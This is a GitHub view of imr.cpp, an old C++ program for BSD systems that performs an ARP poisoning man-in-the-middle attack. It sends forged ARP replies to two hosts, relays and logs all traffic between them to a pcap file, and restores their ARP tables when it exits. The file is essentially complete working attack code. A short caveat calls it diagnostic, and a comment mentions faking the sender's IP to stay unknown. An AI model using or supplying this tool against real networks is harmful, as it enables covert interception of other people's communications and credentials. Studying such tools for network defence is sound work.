forked from Pseudomanifold/imr
-
Notifications
You must be signed in to change notification settings - Fork 0
/
imr.cpp
450 lines (334 loc) · 12.5 KB
/
imr.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
/***************************************************************************************************************
IMR -- In Medias Res
Copyright (C) 2005 Bastian Rieck (canmore [AT] sdf-eu.org)
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Version history (major changes):
0.1: Capture timeouts
0.2: Reset of victims' ARP table
0.3: No hard-coded MAC addresses anymore *blush*; command-line parameters are evaluated
0.4: Finally: "Usage..." is printed ;)
0.5: Support for libpcap log format
0.6: BPF_WORDALIGN used properly
=pod
=head1 NAME
IMR -- an ARP table attack program
=head1 SYNOPSIS
B<imr> I<ether_addr> I<ip_addr> I<ether_addr> I<ip_addr> I<ether_addr> I<ip_addr> I<interface> [I<logfile>]
=head1 DESCRIPTION
B<IMR> is short for 'In Medias Res'. It is a program that allows you to perform an ARP table
attack on two hosts, named I<client> and I<server>. Thus, all traffic from the server to
the client will be sent to you, as well as all traffic from the client to the server. B<IMR>
simply routes all incoming data to the appropriate host and logs it to your disk for further
inspections.
B<IMR> gives you the ability to check whether your network is secured against ARP
attacks. Furthermore, it allows you to analyze networking protocols in great detail
without changing data.
=head2 HOW IT WORKS
This is what B<IMR> does:
=over 12
=item Send (forged) ARP replies
Two ARP replies of the form 'a.b.c.d is at AB:CD:EF:GH' are sent to both the client
and the server, hence ensuring that both hosts consider this PC the current communication
partner.
=item Read data
Now all incoming data is read. A loop checks whether they originate from the client or from
the server. During this check, the destination address of the current Ethernet frame is set
to the proper MAC address, so that the packets don't get stuck.
=item Log data
Everything is logged in raw format, i.e. each packet plus all of its payload is written to
the disk. The log file does not look good, but it will allow a complete reconstruction of
each packet.
=item Reset the ARP tables
After the routing has been cancelled, two ARP replies are sent that restore the ARP
table, so that the proper MAC addresses are set.
=back
=head2 WHY IT WORKS
To work properly, ARP needs an ARP table, in which pairs of MAC addresses and IP addresses
are saved. This is why your kernel 'knows' the destination address of the Ethernet frame. Unfortunately,
ARP doesn't check whether packets have been requested or not. So you are able to poison the ARP
table by sending your own ARP replies that say something like 'You will find this IP address at my
MAC address'. There is no possibility for ARP to validate your MAC address / IP address pair,
so it will be added to the table.
=head1 CAVEATS
Please be aware of the fact that B<IMR> is a diagnostic application. The code will give
you some information about the I<Berkeley Packet Filter>, B<BPF>, but B<IMR> is really I<not>
meant as an attack tool of any sort. Even if you are the administrator of your LAN,
you are by no means allowed to capture the data of your users without telling them...
=head1 OTHER INFO
You might find newer versions of IMR at http://canmore.sdf-eu.org
=head1 COPYRIGHT
B<IMR> is licenced under the B<GNU General Public Licence>. Read the file B<GPL> in IMR's
directory for more information.
=head1 AUTHOR
B<IMR> has been written by Bastian Rieck <canmore [AT] sdf-eu.org>
=cut
******************************************************************************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <ifaddrs.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pcap.h>
#include <signal.h>
#include "mod_bpf.h"
#include "mod_eth.h"
#include "mod_arp.h"
// Globals. They are not nice but make your life
// much easier
int run_loop = 1;
int bpf = -1;
// sig_handler(): Handles SIGINT to abort the capture loop
void sig_handler( int dummy )
{
printf( "\n- Aborting capture (NOTE: This may take a while. Don't panic)\n" );
run_loop = 0;
}
// main(): Sends the packets
int main( int argc, char* argv[] )
{
int buf_len = 0;
int sent_bytes = 0;
char* log_file;
// Intro and some preparations
printf( "\n"
"IMR (In Medias Res) 0.6, Copyright (C) 2008 Bastian Rieck\n"
"IMR comes with ABSOLUTELY NO WARRANTY; for details look at\n"
"the file 'GPL'. This is free software, and you are welcome\n"
"to redistribute it under certain conditions; read 'GPL'\n"
"for details.\n\n" );
signal( SIGINT, sig_handler );
// the MACs will be stored in ether_addr structures, see
// ethers (3) for more details.
ether_addr my_mac;
ether_addr server_mac;
ether_addr client_mac;
ether_addr *mac_ptr; // just to avoid NULL pointers
// IP addresses
unsigned long my_ip;
unsigned long server_ip;
unsigned long client_ip;
// read in all parameters
if( argc < 8 )
{
fprintf( stderr,
"Usage:\n\timr ether_addr ip_addr ether_addr ip_addr ether_addr ip_addr\n\tinterface [logfile]\n\n"
"- Supply your MAC address and your IP address\n"
"- Supply the server's MAC address and IP address (client 1)\n"
"- Supply the client's MAC address and IP address (client 2)\n"
"- Specify an interface and an optional logfile\n\n" );
return( -1 );
}
else
{
// MAC address that shall be used to refer to this PC
if( ( mac_ptr = ether_aton( argv[ 1 ] ) ) != NULL )
memcpy( &my_mac, mac_ptr, sizeof( my_mac ) );
else
{
fprintf( stderr,
"ERROR: Could not read this PC's MAC: '%s'\n",
argv[ 1 ] );
return( -1 );
}
// This PC's IP address; it is possible to fake it, so you can
// remain unknown
if( ( my_ip = inet_addr( argv[ 2 ] ) ) == INADDR_NONE )
{
fprintf( stderr,
"ERROR: Could not read this PC's IP address(errno = %i)\n",
errno );
return( -1 );
}
// MAC & IP address of client 1 = server
if( ( mac_ptr = ether_aton( argv[ 3 ] ) ) != NULL )
memcpy( &server_mac, mac_ptr, sizeof( my_mac ) );
else
{
fprintf( stderr,
"ERROR: Could not read the server's MAC: '%s'\n",
argv[ 3 ] );
return( -1 );
}
if( ( server_ip = inet_addr( argv[ 4 ] ) ) == INADDR_NONE )
{
fprintf( stderr,
"ERROR: Could not read the server's IP address(errno = %i)\n",
errno );
return( -1 );
}
// MAC address of client 2 = client
if( ( mac_ptr = ether_aton( argv[ 5 ] ) ) != NULL )
memcpy( &client_mac, mac_ptr, sizeof( my_mac ) );
else
{
fprintf( stderr,
"ERROR: Could not read the client's MAC: '%s'\n",
argv[ 5 ] );
return( -1 );
}
if( ( client_ip = inet_addr( argv[ 6 ] ) ) == INADDR_NONE )
{
fprintf( stderr,
"ERROR: Could not read the client's IP address(errno = %i)\n",
errno );
return( -1 );
}
printf( "- Eavesdropping data between '%s' and '%s'\n", argv[ 4 ], argv[ 6 ] );
printf( "- Capture device is '%s'\n", argv[ 7 ] );
// check whether a log file has been specified
if( argc >= 9 )
{
printf( "- Using log file '%s'\n", argv[ 8 ] );
log_file = new char[ strlen( argv[ 8 ] ) + 1 ];
strcpy( log_file, argv[ 8 ] );
}
else
{
log_file = new char[ strlen( "/dev/null" ) + 1 ];
strcpy( log_file, "/dev/null" );
}
/****************************************
Just FYI, this was the old approach:
atoh( argv[ 2 ], my_mac, 6 );
atoh( argv[ 3 ], poisoned_mac, 6 );
atoh( argv[ 5 ], original_mac, 6 );
*****************************************/
}
// open BPF and set capture interface as well as
// necessary parameters
bpf = bpf_open( argv[ 7 ] );
if( bpf == -1 )
{
fprintf( stderr, "ERROR: bpf is -1. Aborting...\n" );
return( -1 );
}
buf_len = bpf_prepare( bpf, 3 );
if( buf_len < 0 )
{
fprintf( stderr, "ERROR: bpf_prepare() failed. Aborting...\n" );
close( bpf );
return( -1 );
}
// send spoofed ARP packet to the server...
sent_bytes = send_arp_reply( bpf,
my_mac.octet,
client_ip,
server_mac.octet,
server_ip );
printf( "- (%i) '%s' is at '%s'\n", sent_bytes, argv[ 6 ], ether_ntoa( &my_mac ) );
// ...and to the client
sent_bytes = -1;
sent_bytes = send_arp_reply( bpf,
my_mac.octet,
server_ip,
client_mac.octet,
client_ip );
printf( "- (%i) '%s' is at '%s'\n", sent_bytes, argv[ 4 ], ether_ntoa( &my_mac ) );
// capture and forward all taffic between the two poisoned
// hosts
int log = open( log_file, O_RDWR | O_TRUNC | O_CREAT );
int read_bytes = 0;
int sum = 0;
pcap_file_header f_hdr;
pcap_pkthdr p_hdr;
timeval tv;
// write the file header for the log file
f_hdr.magic = 0xa1b2c3d4;
f_hdr.version_major = 2;
f_hdr.version_minor = 4;
f_hdr.thiszone = 0; // no time correction
f_hdr.sigfigs = 0; // no accuracy
f_hdr.snaplen = buf_len;
// we are working with ethernet. This corresponds to LINKTYPE_ETHERNET
// from /usr/src/contrib/libpcap/savefile.c
f_hdr.linktype = DLT_EN10MB;
write( log, &f_hdr, sizeof( f_hdr ) );
// run the sniffing process
ethernet_frame* frame;
bpf_hdr* bpf_buf = new bpf_hdr[ buf_len ];
bpf_hdr* bpf_packet;
while( run_loop )
{
memset( bpf_buf, 0, buf_len );
if( ( read_bytes = read( bpf, bpf_buf, buf_len ) ) > 0 )
{
int i = 0;
// read all packets that are included in bpf_buf. BPF_WORDALIGN is used
// to proceed to the next BPF packet that is available in the buffer.
/* for( bpf_packet = bpf_buf;
( bpf_packet - bpf_buf ) < read_bytes;
bpf_packet += BPF_WORDALIGN( bpf_buf->bh_hdrlen + bpf_buf->bh_caplen ))
*/
char* ptr = reinterpret_cast<char*>(bpf_buf);
while(ptr < (reinterpret_cast<char*>(bpf_buf) + read_bytes))
{
bpf_packet = reinterpret_cast<bpf_hdr*>(ptr);
frame = (ethernet_frame*) ( (char*) bpf_packet + bpf_packet->bh_hdrlen);
// prepare the packet header and write the *original* packet to
// the log file (but only if it is from one of the 'targets')
gettimeofday( &tv, NULL );
p_hdr.ts = tv;
p_hdr.caplen = bpf_packet->bh_caplen;
p_hdr.len = bpf_packet->bh_datalen;
// a packet from the server (client1)
if( memcmp( frame->src_addr, server_mac.octet, 6 ) == 0 )
{
write( log, &p_hdr, sizeof( p_hdr ) );
write( log, (char*)bpf_packet + bpf_packet->bh_hdrlen, bpf_packet->bh_caplen );
memcpy( frame->dest_addr, client_mac.octet, 6 );
write( bpf, frame, bpf_packet->bh_caplen );
}
// a packet from the client (client2 )
else if( memcmp( frame->src_addr, client_mac.octet, 6 ) == 0 )
{
write( log, &p_hdr, sizeof( p_hdr ) );
write( log, (char*)bpf_packet + bpf_packet->bh_hdrlen, bpf_packet->bh_caplen );
memcpy( frame->dest_addr, server_mac.octet, 6 );
write( bpf, frame, bpf_packet->bh_caplen );
}
ptr += BPF_WORDALIGN(bpf_packet->bh_hdrlen + bpf_packet->bh_caplen);
}
}
}
// reset the ARP table of the server...
sent_bytes = send_arp_reply( bpf,
client_mac.octet,
client_ip,
server_mac.octet,
server_ip);
printf( "- (%i) '%s' is at '%s'\n", sent_bytes, argv[ 6 ], ether_ntoa( &client_mac ) );
// ...and of the client
sent_bytes = -1;
sent_bytes = send_arp_reply( bpf,
server_mac.octet,
server_ip,
client_mac.octet,
client_ip);
printf( "- (%i) '%s' is at '%s'\n", sent_bytes, argv[ 4 ], ether_ntoa( &server_mac ) );
// tidy up
printf( "- Cleaning up. Log is '%s'\n", log_file );
delete[] bpf_buf;
delete []log_file;
close( log );
return( 0 );
}